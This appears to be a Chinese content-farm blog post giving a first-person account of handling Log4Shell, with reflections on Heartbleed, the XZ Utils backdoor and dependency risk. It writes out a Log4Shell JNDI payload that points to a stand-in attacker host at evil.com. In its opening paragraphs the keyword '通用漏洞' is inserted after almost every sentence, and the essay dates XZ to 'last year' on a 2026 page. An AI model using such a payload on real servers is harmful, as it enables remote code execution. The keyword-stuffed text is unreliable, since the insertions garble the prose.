您现在的位置是:烟消火灭网 > 百科

通用漏洞

烟消火灭网2026-10-17 07:44:05【百科】1人已围观

简介2021年冬天,Log4j那个漏洞爆出来的时候,我正蹲在客户机房调一台破防火墙。手机震个不停,群里有人甩了条链接,配文就俩字:“炸了。”我点开一看,CVE-2021-44228,Apache Log4

2021年冬天,通用漏洞Log4j那个漏洞爆出来的通用漏洞时候,我正蹲在客户机房调一台破防火墙。通用漏洞手机震个不停,通用漏洞群里有人甩了条链接,通用漏洞配文就俩字:“炸了。通用漏洞”我点开一看,通用漏洞CVE-2021-44228,通用漏洞Apache Log4j2,通用漏洞JNDI注入,通用漏洞远程代码执行。通用漏洞评分10.0。通用漏洞满分。通用漏洞

当时没觉得多严重。通用漏洞一个Java日志库而已,通用漏洞能翻出什么浪?结果接下来七十二小时,我几乎没合眼。那玩意儿藏在无数Java应用的底层,像水管里的锈,你根本不知道哪根管子在用。攻击者只需要往日志里塞一段特定字符串——比如用户名叫${ jndi:ldap://evil.com/a}——服务器就会乖乖去下载并执行恶意代码。就这么简单。不需要认证,不需要交互,一个请求打过去,机器就姓别人的了。

我连夜扫了自己维护的几十台服务器,发现三台中招。有一台是内部测试机,日志里已经躺着好几条来自陌生IP的探测记录。后背发凉。那感觉就像你住了十年的房子,突然发现门锁是纸糊的。

通用漏洞这东西,可怕的地方从来不在技术复杂度。Log4j的代码写得不算差,JNDI功能也不是bug,是feature。问题出在“通用”两个字上——它被太多地方引用了,直接依赖、间接依赖、依赖的依赖。你写个Hello World可能都绕不开它。这种广泛性把一个小口子撕成了大裂谷。攻击面不是线性增长,是指数级爆炸。

更早之前,2014年的Heartbleed也是同一类故事。OpenSSL的心跳扩展,读内存越界,一次能泄64KB。听起来不多,但反复读就能把服务器内存里的私钥、密码、会话令牌全捞出来。当时全球三分之二的HTTPS网站受影响。我有个朋友在银行做运维,那周他们直接拔网线停服务,硬扛了三天。他说:“比被DDoS还丢人,你连敌人在哪都不知道。”

这些漏洞有个共同点:它们都藏在基础设施里。不是业务代码,不是前端页面,是那些你以为“肯定没问题”的底层组件。你调用的每个库、每个框架、每个中间件,都是一层信任。通用漏洞就是把这层信任撕开,让你看到下面全是窟窿。你信任Log4j,Log4j信任JNDI,JNDI信任外部LDAP服务器,最后信任链断在最后一个环节——而那个环节根本不在你的控制范围内。

我后来养成个习惯:每次上线新服务,先跑一遍依赖树。看看引了多少个包,每个包又引了多少个。结果触目惊心。一个简单的Spring Boot应用,依赖树能打印出几百行。里面有多少是三年没更新过的?有多少是个人开发者随手传的?不知道。你没法知道。这就是通用漏洞的温床——我们都在用别人写的代码,而别人也在用别人写的代码。一层套一层,最后谁也没法保证安全。

去年又出了个XZ Utils后门,CVE-2024-3094。这次不是漏洞,是故意投毒。一个维护者花了两年时间混进社区,慢慢获取信任,然后往压缩库的构建脚本里塞了后门。受影响的是SSH认证。如果没被及时发现,后果不堪设想。这事比Log4j更让人绝望——Log4j是无心之失,XZ是蓄意攻击。你防得住代码缺陷,防得住人心吗?

说白了,通用漏洞没法根治。只要软件还在复用,只要依赖还在嵌套,只要有人写代码,就一定会有下一个。我们能做的,无非是缩短从漏洞公开到修复的时间窗口。Log4j那会儿,我花了三天才把核心服务全升完级。现在再出类似的事,我能在六小时内搞定。这不是技术变好了,是流程变熟了。知道该查哪里,该找谁,该先停什么。

但每次看到依赖树里那些陈旧的包,我还是会想起那个冬天。机房空调嗡嗡响,屏幕上滚动着漏洞扫描结果,手机又震了一下——群里有人发了张梗图,Log4j的logo被P成了炸弹,引线在烧。我笑不出来。因为我知道,下一根引线已经在某处点着了,只是还没烧到我看得见的地方。

很赞哦!(5)

上一篇: 加了白名单

下一篇: 怎么弄才能上GitHub